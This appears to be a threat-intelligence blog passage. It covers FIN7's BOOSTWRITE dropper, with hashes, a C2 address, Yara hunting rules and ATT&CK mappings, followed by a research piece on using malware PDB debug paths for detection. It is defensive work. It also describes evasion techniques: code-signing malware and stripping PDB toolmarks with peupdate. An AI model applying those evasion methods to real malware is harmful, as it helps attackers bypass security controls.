Use of a code signing certificate for BOOSTWRITE is not a completely new technique for FIN7 as the group has used digital certificates in the past to sign their phishing documents, backdoors, and later stage tools. By exploiting the trust inherently provided by code certificates, FIN7 increases their chances of bypassing various security controls and successfully compromising victims. The full evasion achieved against the detection engines deployed to VirusTotal – as compared to an unsigned BOOSTWRITE sample with an invalid checksum– illustrates that FIN7’s methods were effective in subverting both traditional detection and ML binary classification engines. This is a known issue and has been deeply studied since at least 2016’s “Chains of Distrust” research and 2017’s “Certified Malware” paper. Since there are plenty of goodware samples with bad or no signatures – and a growing number of malware samples with good signatures – there is no easy solution here. The upside is that vendors selectively deploy engines to VirusTotal (including FireEye) and VT detection performance often isn’t a comprehensive representation of encountering full security technology stacks that implement detection-in-depth. Later in this blog we further explore BOOSTWRITE’s PE Authenticode signature, its anomalies, and how code signing can be turned from a detection challenge into detection opportunities.

Outlook and Implications

While these incidents have also included FIN7’s typical and long-used toolsets, such as CARBANAK and BABYMETAL, the introduction of new tools and techniques provides further evidence FIN7 is continuing to evolve in response to security enhancements. Further, the use of code signing in at least one case highlights the group's judicious use of resources, potentially limiting their use of these certificates to cases where they have been attempting to bypass particular security controls. Barring any further law enforcement actions, we expect at least a portion of the actors who comprise the FIN7 criminal organization to continue conducting campaigns. As a result, organizations need to remain vigilant and continue to monitor for changes in methods employed by the FIN7 actors.

Sigs Up Dudes! Indicators, Toolmarks, and Detection Opportunities

While FireEye does not release our production detection logic for the code families, this section does contain some identification and hunting concepts that we adopt in our layered detection strategy. Table 4 contains malware samples referenced in this blog that FireEye is able to share from the larger set recovered during active investigations.




MD5: a67d6e87283c34459b4660f19747a306
SHA-1: a873f3417d54220e978d0ca9ceb63cf13ec71f84
SHA-256: 18cc54e2fbdad5a317b6aeb2e7db3973cc5ffb01bbf810869d79e9cb3bf02bd5

C2: 109.230.199[.]227

BOOSTWRITE (unsigned)

MD5: af2f4142463f42548b8650a3adf5ceb2
SHA1: 09f3c9ae382fbd29fb47ecdfeb3bb149d7e961a1
SHA256: 8773aeb53d9034dc8de339651e61d8d6ae0a895c4c89b670d501db8dc60cd2d0

C2: 109.230.199[.]227

Table 4: Publicly-shareable BOOSTWRITE samples

The signed BOOSTWRITE sample has a PE Authenticode anomaly that can be detected using yara’s PE signature module. Specifically, the PE linker timestamp is prior to the Authenticode validity period, as seen in Table 5.



2019-05-20 09:50:55 UTC

Signed BOOSTWRITE’s PE compilation time

2019-05-22 00:00 UTC
2020-05-21 23:59 UTC

Signed BOOSTWRITE’s “mango ENTERPRISE LIMITED” certificate validity window

Table 5: Relevant executabe timestamps

A public example of a Yara rule covering this particular PE Authenticode timestamp anomaly is available in a blog post from David Cannings, with the key logic shown in Figure 3.

pe.number_of_signatures > 0 and not for all i in ( - 1):

Figure 3: Excerpt of NCC Group’s research Yara rule

There are other PE Authenticode anomalies that can also be represented as Yara rules to surface similarly suspicious files. Of note, this signed BOOSTWRITE sample has no counter signature and, while the unauthenticated attributes timestamp structure is present, it is empty. In preparing this blog, FireEye’s Advanced Practices team identified a possible issue with VirusTotal’s parsing of signed executable timestamps as seen in Figure 4.

Figure 4: Inconsistency in VirusTotal file signature timestamps for the signed BOOSTWRITE sample

FireEye filed a bug report with Google to address the discrepancy in VirusTotal in order to remove confusion for other users.

To account for the detection weaknesses introduced by techniques like code signing, our Advanced Practices team combines the malicious confidence spectrum that comes from ML detection systems with file oddities and anomalies (weak signals) to surface highly interesting and evasive malware. This technique was recently described in our own Dr. Steven Miller’s Definitive Dossier of Devilish Debug Details. In fact, the exact same program database (PDB) path-based approach from his blog can be applied to the toolmarks seen in this sample for a quick hunting rule. Figure 5 provides the PDB path of the BOOSTWRITE samples from this blog.


Figure 5: BOOSTWRITE PDB path

The Yara rule template can be applied to result in the quick rule in Figure 6.

rule ConventionEngine_BOOSTWRITE
     author = "Nick Carr (@itsreallynick)"
     reference = ""
     $weetPDB = /RSDS[\x00-\xFF]{20}[a-zA-Z]?:?\\[\\\s|*\s]?.{0,250}\\DWriteImpl[\\\s|*\s]?.{0,250}\.pdb\x00/ nocase
     (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $weetPDB and filesize < 6MB

Figure 6: Applying BOOSTWRITE’s PDB path to a Yara rule

We can apply this same concept across other executable traits, such as BOOSTWRITE’s export DLL name (DWriteImpl.dll), to create quick and easy rules that can aid in quick discovery as seen in Figure 7.

rule Exports_BOOSTWRITE
     author = "Steve Miller (@stvemillertime) & Nick Carr (@itsreallynick)"
     $exyPants = "DWriteImpl.dll" nocase
     uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $exyPants at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) and filesize < 6MB

Figure 7: Applying BOOSTWRITE’s export DLL names to a Yara rule (Note: this rule was updated following publication. It previously read "module_ls.dll", which is for Turla and unrelated.)

Of course, resilient prevention capabilities are needed and to that end, FireEye detects this activity across our platforms. Table 6 contains several specific detection names from a larger list of detection capabilities that captured this activity natively.


Signature Name

Endpoint Security

MalwareGuard ML detection (unsigned variants)

Network Security and Email Security

Malware.binary.dll (dynamic detection)
MalwareGuard ML detection (unsigned variants)
APTFIN.Dropper.Win.BOOSTWRITE (network traffic)
APTFIN.Backdoor.Win.RDFSNIFFER (network traffic)
FE_APTFIN_Dropper_Win_BOOSTWRITE (static code family detection)
FE_APTFIN_Backdoor_Win_RDFSNIFFER (static code family detection)

Table 6: FireEye detection matrix

Don’t Sweat the Techniques – MITRE ATT&CK Mappings






Data Encrypted

BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection


Obfuscated Files or Information

BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection


DLL Search Order Hijacking

BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll


Code Signing

BOOSTWRITE variants were observed signed by a valid CA


Execution through Module Load

BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll


Deobfuscate/Decode Files or Information

BOOSTWRITE decodes its payloads at runtime using using a ChaCha stream cipher with a 256-bit key and 64-bit IV






Execution through API

RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface


File Deletion

RDFSNIFFER has the capability of deleting local files



RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface


The authors want to thank Steve Elovitz, Jeremy Koppen, and the many Mandiant incident responders that go toe-to-toe with FIN7 regularly, quietly evicting them from victim environments. We appreciate the thorough detection engineering from Ayako Matsuda and the reverse engineering from FLARE’s Dimiter Andonov, Christopher Gardner and Tyler Dean. A special thanks to FLARE’s Troy Ross for the development of his PE Signature analysis service and for answering our follow-up questions. Shout out to Steve Miller for his hot fire research and Yara anomaly work. And lastly, the rest of the Advanced Practices team for both the unparalleled front-line FIN7 technical intelligence expertise and MITRE ATT&CK automated mapping project – with a particular thanks to Regina Elwell and Barry Vengerik.

Definitive Dossier of Devilish Debug Details – Part One: PDB Paths and Malware

Have you ever wondered what goes through the mind of a malware author? How they build their tools? How they organize their development projects? What kind of computers and software they use? We took a stab and answering some of those questions by exploring malware debug information.

We find that malware developers give descriptive names to their folders and code projects, often describing the capabilities of the malware in development. These descriptive names thus show up in a PDB path when a malware project is compiled with symbol debugging information. Everyone loves an origin story, and debugging information gives us insight into the malware development environment, a small, but important keyhole into where and how a piece of malware was born. We can use our newfound insight to detect malicious activity based in part on PDB paths and other debug details.

Welcome to part one of a multi-part, tweet-inspired series about PDB paths, their relation to malware, and how they may be useful in both defensive and offensive operations.

Human-Computer Conventions

Digital storage systems have revolutionized our world but in order to make use of our stored data and retrieve it in an efficient manner, we must organize it sensibly. Users structure directories carefully and give files and folders unique and descriptive names. Often users name folders and files based on their content. Computers force users to label and annotate their data based on the data type, role, and purpose. This human-computer convention means that most digital content has some descriptive surface area, or descriptive “features” that are present in many files, including malware files.

FireEye approaches detection and hunting from many angles, but on FireEye’s Advanced Practices team, we often like to flex on “weak signals.” We like to search for features of malware that are not evil in isolation but uncommon or unique enough to be useful. We create conditional rules that when met are “weak signals” telling us that a subset of data, such as a file object or a process, has some odd or novel features. These features are often incidental outcomes of adversary methods, or modus operandi, that each represent deliberate choices made by malware developers or intrusion operators. Not all these features were meant to be in there, and they were certainly not intended for defenders to notice. This is especially true for PDB paths, which can be described as an outcome of the compilation process, a toolmark left in malware that describes the development environment.


A program database (PDB) file, often referred to as a “symbol file,” is generated upon compilation to store debugging information about an individual build of a program. A PDB may store symbols, addresses, names of functions and resources and other information that may assist with debugging the program to find the exact source of an exception or error.

Malware is software, and malware developers are software developers. Like any software developers, malware authors often have to debug their code and sometimes end up creating PDBs as part of their development process. If they do not spend time debugging their malware, they risk their malware not functioning correctly on victim hosts, or not being able to successfully communicate with their malware remotely.

How PDB Paths are Made (the birds and the PDBs?)

But how are PDBs created and connected to programs? Let’s examine the formation of one PDB path through the eyes of a malware developer and blogger, the soon-to-be-infamous “smiller.”

Smiller has a lot of programming projects and organizes them in an aptly labeled folder structure on his computer. This project is for a shellcode loader embedded in an HTML Application (HTA) file, and the developer stores it quite logically in the folder:


Figure 1: The simple “Test” project code file “Program.cs” which embeds a piece of shellcode and a launcher executable within an HTML Application (HTA) file

Figure 2: The malicious Visual Studio solution HtaDotnet and corresponding “Test” project folder as seen through Windows Explorer. The names of the folders and files are suggestive of their functionalities

The malware author then compiles their “Test” project Visual Studio in a default “Debug” configuration (Figure 3) and writes out Test.exe and Test.pdb to a subfolder (Figure 4).

Figure 3: The Visual Studio output of a default compiling configuration

Figure 4: Test.exe and Test.pdb are written to a default subfolder of the code project folder

In the Test.pdb file (Figure 5) there are references to the original path for the source code files along with other binary information for use in debugging.

Figure 5: Test.pdb contains binary debug information and references to the original source code files for use in debugging

During the compilation, the linker program associates the PDB file with the built executable by adding an entry into the IMAGE_DEBUG_DIRECTORY specifying the type of the debug information. In this case, the debug type is CodeView and so the PDB path is embedded under IMAGE_DEBUG_TYPE_CODEVIEW portion of the file. This enables a debugger to locate the correct PDB file Test.pdb while debugging Test.exe.

Figure 6: Test.exe as shown in the PEview utility, which easily parses out the PDB path from the IMAGE_DEBUG_TYPE_CODEVIEW section of the executable file

PDB Path in CodeView Debug Information

CodeView Structure

The exact format of the debug information may vary depending on compiler and linker and the modernity of one’s software development tools. CodeView debug information is stored under IMAGE_DEBUG_TYPE_CODEVIEW in the following structure:




"RSDS" header


16-byte Globally Unique Identifier


"age" (incrementing # of revisions)


PDB path, null terminated

Figure 7: Structure of CodeView debug directory information

Full Versus Partial PDB Path

There are generally two buckets of CodeView PDB paths, those that are fully qualified directory paths and those that are partially qualified, that specify the name of the PDB file only. In both cases, the name of the PDB file with the .pdb extension is included to ensure the debugger locates the correct PDB for the program.

A partially qualified PDB path would list only the PDB file name, such as:


A fully qualified PDB path usually begins with a volume drive letter and a directory path to the PDB file name such as:


Typically, native Windows executables use a partially qualified PDB path because many of the debug PDB files are publicly available on the Microsoft public symbol server, so the fully qualified path is unnecessary in the symbol path (the PDB path). For the purposes of this research, we will be mostly looking at fully qualified PDB paths.

Surveying PDB Paths in Malware

In Operation Shadowhammer, which has a myriad of connections to APT41, one sample had a simple, yet descriptive PDB path: “D:\C++\AsusShellCode\Release\AsusShellCode.pdb

The naming makes perfect sense. The malware was intended to masquerade as Asus Corporation software, and the role of the malware was shellcode. The malware developer named the project after the function and role of the malware itself.

If we accept that the nature of digital data forces developers into these naming conventions, we figured that these conventions would hold true across other threat actors, malware families, and intrusion operations. FireEye’s Advanced Practices team loves to take seemingly innocuous features of an intrusion set and determine what about these things is good, bad and ugly. What is normal, and what is abnormal? What is globally prevalent and what is rare? What are malware authors doing that is different from what non-malware developers are doing? What assumptions can we make and measure?

Letting our curiosity take the wheel, we adapted the CodeView debug information structure into a regular expression (Figure 8) and developed Yara rules (Figure 9) to survey our data sets. This helped us identify commonalities and enabled us to see which threat actors and malware families may be “detectable” based only on features within PDB path strings.

Figure 8: A Perl-compatible regular expression (PCRE) adaptation of the PDB7 debug information in an executable to include a specific keyword

Figure 9: Template Yara rule to search for executables with PDB files matching a keyword

PDB Path Showcase: Malware Naming Conventions

We surveyed 10+ million samples in our incident response and malware corpus, and we found plenty of common PDB path keywords that seemed to transcend different sources, victims, affected regions, impacted industries, and actor motivations. To help articulate the broad reach of malware developer commonalities, we detail a handful of the stronger keywords along with example PDB paths, with represented malware families and threat groups where at least one sample has the applicable keyword.

Please note that the example paths and represented malware families and groups are a selection from the total data set, and not necessarily correlated, clustered or otherwise related to each other. This is intended to illustrate the wide presence of PDB paths with keywords and how malware developers, irrespective of origin, targets and motivations often end up using some of the same words in their naming. We believe that this commonality increases the surface area of malware and introduces new opportunities for detection and hunting.

PDB Path Keyword Prevalence


Families and Groups Observed

Example PDB Path


APT10, APT24, APT41, UNC589, UNC824, UNC969, UNC765




APT1, UNC776, UNC251. UNC1131





APT41, APT34, APT37, UNC52, UNC1131, APT40






UNC373, UNC510, UNC875, APT36, APT33, APT5, UNC822

C:\Documents and Settings\ss\桌面\tls\scr\bind\bind\Release\bind.pdb




APT10, APT34, APT21, UNC1289, UNC1450

C:\Documents and Settings\Administrator\桌面\BypassUAC.VS2010\Release\Go.pdb




APT28, UNC1354, UNC1077, UNC27, UNC653, UNC1180, UNC1031

Z:\projects\vs 2012\Inst DWN and DWN XP\downloader_dll_http_mtfs\Release\downloader_dll_http_mtfs.pdb




UNC776, UNC1095, APT29, APT36, UNC964, UNC1437, UNC849

D:\Task\DDE Attack\Dropper_Original\Release\Dropper.pdb




UNC1030, APT39, APT34, FIN6





UNC1172, APT39, UNC822






APT17, UNC208, UNC276






UNC1152, APT40, UNC78, UNC874, UNC52, UNC502, APT33, APT8

C:\Users\Alienware.DESKTOP-MKL3QDN\Documents\Hacker\memorygrabber - ID\memorygrabber\obj\x86\Debug\vshost.pdb





APT26, APT40, UNC213, APT26, UNC44, UNC53, UNC282





UNC842, UNC1197, UNC1040, UNC969

D:\รายงาน\C++ & D3D & Hook & VB.NET & PROJECT\Visual Studio 2010\CodeMaster OnlyTh\Inject_Win32_2\Inject Win32\Inject Win32\Release\OLT_PBFREE.pdb





UNC606, APT10, APT34, APT41, UNC373, APT31, APT34, APT19, APT1, UNC82, UNC1168, UNC1149, UNC575

E:\0xFFDebug\My Source\HashDump\Release\injectLsa.pdb




UNC869, UNC385, UNC228, APT5, UNC229, APT26, APT37, UNC432, APT18, UNC27, APT6, UNC1172, UNC593, UNC451, UNC875, UNC53





APT37, UNC82, UNC1095, APT1, APT40

D:\TASK\ProgamsByMe(2015.1~)\MyWork\Relative Backdoor\KeyLogger_ScreenCap_Manager\Release\SoundRec.pdb




UNC915, UNC632, UNC1149, APT28, UNC878

C:\Users\WIN-2-ViHKwdGJ574H\Desktop\NSA\Payloads\windows service cpp\Release\CppWindowsService.pdb





UNC48, UNC1225, APT17, UNC1149, APT35, UNC251, UNC521, UNC8, UNC849, UNC1428, UNC1374, UNC53, UNC1215, UNC964, UNC1217, APT3, UNC671, UNC757, UNC753, APT10, APT34, UNC229, APT18, APT9, UNC124, UNC1559










FIN7, UNC583, UNC822, UNC1120





UNC1373, UNC366, APT19, UNC1352, UNC27, APT1, UNC981, UNC581, UNC1559


Figure 10: A selection of common keywords in PDB paths with groups and malware families observed and examples

PDB Path Showcase: Suspicious Developer Environment Terms

The keywords that are typically used to describe malware are strong enough to raise red flags, but there are other common terms or features in PDB paths that may signal that an executable is compiled in a non-enterprise setting. For example, any PDB path containing “Users” directory can tell you that the executable was likely compiled on Windows Vista/7/10 and likely does not represent an “official” or “commercial” development environment. The term “Users” is much weaker or lower in fidelity than “shellcode” but as we demonstrate below, these terms are indeed present in lots of malware and can be used for weak detection signals.

PDB Path Term Prevalence


Families and Groups Observed

Example PDB Path



APT5, APT10, APT17, APT33, APT34, APT35, APT36, APT37, APT39, APT40, APT41, FIN6, UNC284, UNC347, UNC373, UNC432, UNC632, UNC718, UNC757, UNC791, UNC824, UNC875, UNC1065, UNC1124, UNC1149, UNC1152, UNC1197, UNC1289, UNC1295, UNC1340, UNC1352, UNC1354, UNC1374, UNC1406, UNC1450, UNC1486, UNC1507, UNC1516, UNC1534, UNC1545, UNC1562

C:\Users\Yousef\Desktop\MergeFiles\Loader v0\Loader\obj\Release\Loader.pdb





(Visual Studio default project names)


APT1, APT34, APT36, FIN6, UNC251, UNC729, UNC1078, UNC1147, UNC1172, UNC1267, UNC1277, UNC1289, UNC1295, UNC1340, UNC1470, UNC1507


New Folder


APT18, APT33, APT36, UNC53, UNC74, UNC672, UNC718, UNC1030, UNC1289, UNC1340, UNC1559

c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb



UNC124, UNC718, UNC757, UNC1065, UNC1215, UNC1225, UNC1289

D:\dll_Mc2.1mc\2.4\2.4.2 xor\zhu\dll_Mc - Copy\Release\shellcode.pdb



APT5, APT17, APT26, APT33, APT34, APT35, APT36, APT41, UNC53, UNC276, UNC308, UNC373, UNC534, UNC551, UNC572, UNC672, UNC718, UNC757, UNC791, UNC824, UNC875, UNC1124, UNC1149, UNC1197, UNC1352


Figure 11: A selection of common terms in PDB paths with groups and malware families observed and examples

PDB Path Showcase: Exploring Anomalies

Outside of keywords and terms, we discovered on a few uncommon (to us) features that may be interesting for future research and detection opportunities.

Non-ASCII Characters

PDB paths with any non-ASCII characters have a high ratio of malware to non-malware in our datasets. The strength of this signal is only because of a data bias in our malware corpus and in our client base. However, if this data bias is consistent, we can use the presence of non-ASCII characters in a PDB path as a signal that an executable merits further scrutiny. In organizations that operate primarily in the world of ASCII, we imagine this will be a strong signal. Below we express logic for this technique in Yara:

rule ConventionEngine_Anomaly_NonAscii
        author = "@stvemillertime"
        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,500}[^\x00-\x7F]{1,}[\x00-\xFF]{0,500}\.pdb\x00/
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

Multiple Paths in a Single File

Each compiled program should only have one PDB path. The presence of multiple PDB paths in a single object indicates that the object has subfile executables, from which you may infer that the parent object has the capability to “drop” or “install” other files. While being a dropper or installer is not malicious on its own, having an alternative method of applying those classifications to file objects may be of assistance in surfacing malicious activity. In this example, we can also search for this capability using Yara:

rule ConventionEngine_Anomaly_MultiPDB_Triple
        author = "@stvemillertime"
        $anchor = "RSDS"
        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #anchor == 3 and #pcre == 3

Outside of a Debug Section

When a file is compiled the entry for the debug information is in the IMAGE_DEBUG_DIRECTORY. Similar to seeing multiple PDB paths in a single file, when we see debug information inside an executable that does not have a debug directory, we can infer that the file has subfile executables, and is likely has dropper or installer functionality. In this rule, we use Yara’s convenient PE module to check the relative virtual address (RVA) of the IMAGE_DIRECTORY_ENTRY_DEBUG entry, and if it is zero we can presume that there is no debug entry and thus the presence of a CodeView PDB path indicates that there is a subfile.

rule ConventionEngine_Anomaly_OutsideOfDebug
        author = "@stvemillertime"
        description = "Searching for PE files with PDB path keywords, terms or anomalies."
        $anchor = "RSDS"
        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $anchor and $pcre and pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_DEBUG].virtual_address == 0

Nulled Out PDB Paths

In the typical CodeView section, we would see the “RSDS” header, the 16-byte GUID, a 4-byte “age” and then a PDB path string. However, we’ve identified a significant number of malware samples where the embedded PDB path area is nulled out. In this example, we can easily see the CodeView debug structure, complete with header, GUID and age, followed by nulls to the end of the segment.

00147880: 52 53 44 53 18 c8 03 4e 8c 0c 4f 46 be b2 ed 9e : RSDS...N..OF....
00147890: c1 9f a3 f4 01 00 00 00 00 00 00 00 00 00 00 00 : ................
001478a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : ................
001478b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : ................
001478c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : ................

There are a few possibilities of how and why a CodeView PDB path may be nulled out, but in the case of intentional tampering, for the purposes of removing toolmarks, the easiest way would be to manually overwrite the PDB path with \x00s. The risk of manual editing and overwriting via hex editor is that doing so is laborious and may introduce other static anomalies such as checksum errors.

The next easiest way is to use a utility designed to wipe out debug artifacts from executables. One stellar example of this is “peupdate” which is designed not only to strip or fabricate the PDB path information, but can also recalculate the checksum, and eliminate Rich headers.  Below we demonstrate use of peupdate to clear the PDB path.

Figure 12: Using peupdate to clear the PDB path information from a sample of malware

Figure 13: The peupdate tampered malware as shown in the PEview utility. We see the CodeView section is still present but the PDB path value has been cleared out

PDB Path Anomaly Prevalence


Families and Groups Observed


Non-Ascii Characters

APT1, APT2, APT3, APT5, APT6, APT9, APT10, APT14, APT17, APT18, APT20, APT21, APT23, APT24, APT24, APT24, APT26, APT31, APT33, APT41, UNC20, UNC27, UNC39, UNC53, UNC74, UNC78, UNC1040, UNC1078, UNC1172, UNC1486, UNC156, UNC208, UNC229, UNC237, UNC276, UNC293, UNC366, UNC373, UNC451, UNC454, UNC521, UNC542, UNC551, UNC556, UNC565, UNC584, UNC629, UNC753, UNC794, UNC798, UNC969


Multi Path in Single File


APT1, APT2, APT17, APT5, APT20, APT21, APT26, APT34, APT36, APT37, APT40, APT41, UNC27, UNC53, UNC218, UNC251, UNC432, UNC521, UNC718, UNC776, UNC875, UNC878, UNC969, UNC1031, UNC1040, UNC1065, UNC1092, UNC1095, UNC1166, UNC1183, UNC1289, UNC1374, UNC1443, UNC1450, UNC1495

Single Sample of TRICKBOT:



Outside of Debug Section


APT5, APT6, APT9, APT10, APT17, APT22, APT24, APT26, APT27, APT29, APT30, APT34, APT35, APT36, APT37, APT40, APT41, UNC20, UNC27, UNC39, UNC53, UNC69, UNC74, UNC105, UNC124, UNC125, UNC147, UNC213, UNC215, UNC218, UNC227, UNC251, UNC276, UNC282, UNC307, UNC308, UNC347, UNC407, UNC565, UNC583, UNC587, UNC589, UNC631, UNC707, UNC718, UNC775, UNC776, UNC779, UNC842, UNC869, UNC875, UNC875, UNC924, UNC1040, UNC1080, UNC1148, UNC1152, UNC1225, UNC1251, UNC1428, UNC1450, UNC1486, UNC1575


Nulled Out PDB Paths


APT41, UNC776, UNC229, UNC177, UNC1267, UNC878, UNC1511




Figure 14: A selection of anomalies in PDB paths with groups and malware families observed and examples

PDB Path Showcase: Outliers, Oddities, Exceptions and Other Shenanigans

The internet is a weird place, and at a big enough scale, you end up seeing things that you never thought you would. Things that deviate from the norms, things that shirk the standards, things that utterly defy explanation. We expect PDB paths to look a certain way, but we’ve run across several samples that did not, and we’re not always sure why. Many of these samples below may be results of errors, corruption, obfuscation, or various forms of intentional manipulation. We’re demonstrating them here to show that if you are attempting PDB path parsing or detection, you need to understand the variety of paths in the wild and prepare for shenanigans galore. Each of these examples are from confirmed malware samples.


Example PDB Paths

Unicode error

Text Path: C^\Users\DELL\Desktop\interne.2.pdb

Raw Path: 435E5C55 73657273 5C44454C 4C5C4465 736B746F 705C696E 7465726E 6598322E 706462


Text Path: Cj\Users\hacker messan\Deskto \Server111.pdb

Raw Path: 436A5C55 73657273 5C686163 6B657220 6D657373 616E5C44 65736B74 6FA05C53 65727665 72313131 2E706462

Nothing but space

Text Path:                                                         

Full Raw: 52534453 7A7F54BF BAC9DE45 89DC995F F09D2327 0A000000 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202000

Spaced out

Text Path: D:\                                 .pdb

Full Raw: 52534453 A7FBBBFE 5C41A545 896EF92F 71CD1F08 01000000 443A5C20 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 2E706462 00

Nothin’ but null

Text Path: <null bytes only>

Full Raw: 52534453 97272434 3BACFA42 B2DAEE99 FAB00902 01000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

Random characters

Text Path: Lmd9knkjasdLmd9knkjasLmd9knkAaGc.pdb

Random path

Text Path: G:\givgLxNzKzUt\TcyaxiavDCiu\bGGiYrco\QNfWgtSs\auaXaWyjgmPqd.pdb

Word soup

Text Path: c:\Busy\molecule\Blue\Valley\Steel\King\enemy\Himyard.pdb

Mixed doubles



Text Path: 1.pdb

No .pdb

Text Path: a

Full Raw: 52534453 ED86CA3D 6C677946 822E668F F48B0F9D 01000000 6100

Long and weird with repeated character

Text Path: ªªªªªªªªªªªªªªªªªªªªtinjs\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaae.pdb

Full Raw: 52534453 DD947C2F 6B32544C 8C3ACB2E C7C39F45 01000000 AAAAAAAA AAAAAAAA AAAAAAAA AAAAAAAA AAAAAAAA 74696E6A 735C6161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 652E7064 6200

No idea

Text Path: n:.Lí..×ÖòÒ.

Full Raw: 52534453 5A2D831D CB4DCF1E 4A05F51B 94992AA0 B7CFEE32 6E3AAD4C ED1A1DD7 D6F2D29E 00

Forward slashes and no drive letter

Text Path: /Users/user/Documents/GitHub/SharpWMI/SharpWMI/obj/Debug/SharpWMI.pdb

Network share

Text path:

\\vmware-host\shared folders\Decrypter\Decrypter\obj\Release\Decrypter.pdb

Non-Latin drive letter

We haven’t seen this yet, but it’s only a matter of time until you can have an emoji as a drive letter.

Figure 15: A selection of PDB paths shenanigans with examples

Betwixt Nerf Herders and Elite Operators

There are many differences between apex threat actors and the rest, even if all successfully perform intrusion operations. Groups that exercise good OPSEC in some campaigns may have bad OPSEC in others. APT36 has hundreds of leaked PDB paths, whereas APT30 has a minimal PDB path footprint, while APT38 is a ghost.

When PDB paths are present, the types of keywords, terms, and other string items present in PDB paths are all on a spectrum of professionalism and sophistication. On one end we’re seeing “njRAT-FUD 0.3” and “1337 h4ckbot” and on the other end we’re seeing “minidionis” and “msrstd”.

The trendy critique of string-based detection goes something like “advanced adversaries would never act so carelessly; they’ll obfuscate and evade your naïve and brittle signatures.” In the tables above for PDB path keywords, terms and anomalies, we think we’ve shown that bona fide APT/FIN groups, state-sponsored adversaries, and the best-of-the-best attackers do sometimes slip up and give us an opportunity for detection.

Let’s call out some specific examples from boutique malware from some of the more advanced threat groups.

Equation Group

Some Equation Group samples show full PDB paths that indicate that some of the malware was compiled in debug mode on workstations or virtual machines used for development.

Other Equation Group samples have partially qualified PDB paths that represent something less obvious. These standalone PDB names may reflect a more tailored, multi-developer environment, where it wouldn’t make sense to specify a fully qualified PDB path for a single developer system. Instead, the linker is instructed to write only the PDB file name in the built executable. Still, these PDB paths are unique to their malware samples:

  • tdip.pdb
  • volrec.pdb
  • msrstd.pdb


Deeming a piece of malware a “backdoor” is increasingly passé. Calling a piece of malware an “implant” is the new hotness, and the general public may be adopting this nouveau nomenclature long after purported Western governments. In this component of the Regin platform, we see a developer that was way ahead of the curve:


Let’s not forget APT29, whose brazen worldwide intrusion sprees often involve pieces of creative, elaborate, and stealthy malware. APT29 is amongst the better groups at staying quiet, but in thousands of pieces of malware, these normally disciplined operators did leak a few PDB paths such as:

  • c:\Users\developer\Desktop\unmodified_netimplant\minidionis\minidionis\obj\Debug\minidionis.pdb
  • C:\Projects\nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.pdb

Even when the premier outfits don’t use the glaring keywords, there may still be some string terms, anomalies and unique values present in PDB paths that each represent an opportunity for detection.


We extract and index all PDB paths from all executables so we can easily search and spelunk through our data. But not everyone has it that easy, so we cranked out a quick collection of nearly 100 Yara rules for PDB path keywords, terms and anomalies that we believe researchers and analysts can use to detect evil. We named this collection of rules “ConventionEngine” after the industry jokes that security vendors like to talk about their elite detection “engines,” but behind the green curtain they’re all just a code spaghetti mess of scripts and signatures, which this absolutely started as.

Instead of tight production “signatures,” you can think of these as “weak signals” or “discovery rules” that are meant to build haystacks of varying size and fidelity for analysts to hunt through. Those rules with a low signal-to-noise ratio (SNR) could be fed to automated systems for logging or contextualization of file objects, whereas rules with a higher SNR could be fed directly to analysts for review or investigation.

Our adversaries are human. They err. And when they do, we can catch them. We are pleased to release ConventionEngine rules for anyone to use in that effort. Together these rules cover samples from over 300 named malware families, hundreds of unnamed malware families, 39 different APT and FIN threat groups, and over 200 UNC (uncategorized) groups of activity.

We hope you can use these rules as templates, or as starting points for further PDB path detection ideas. There’s plenty of room for additional keywords, terms, and anomalies. Be advised, whether for detection or hunting or merely for context, you will need to tune and add additional logic to each of these rules to make the size of the resulting haystacks appropriate for your purposes, your operations and the technology within your organization. When judiciously implemented, we believe these rules can enrich analysis and detect things that are missed elsewhere.

PDB Paths for Intelligence Teams

Gettin' Lucky with APT31

During an incident response investigation, we found an APT31 account on Github being used for staging malware files and for malware communications. The intrusion operators using this account weren’t shy of putting full code packages right into the repositories and we were able to recover actual PDB files associated with multiple malware ecosystems. Using the actual PDB files, we were able to see the full directory paths of the raw malware source code, representing a considerable intelligence gain about the malware original development environment. We used what we found in the PDB itself to search for other files related to this malware author.

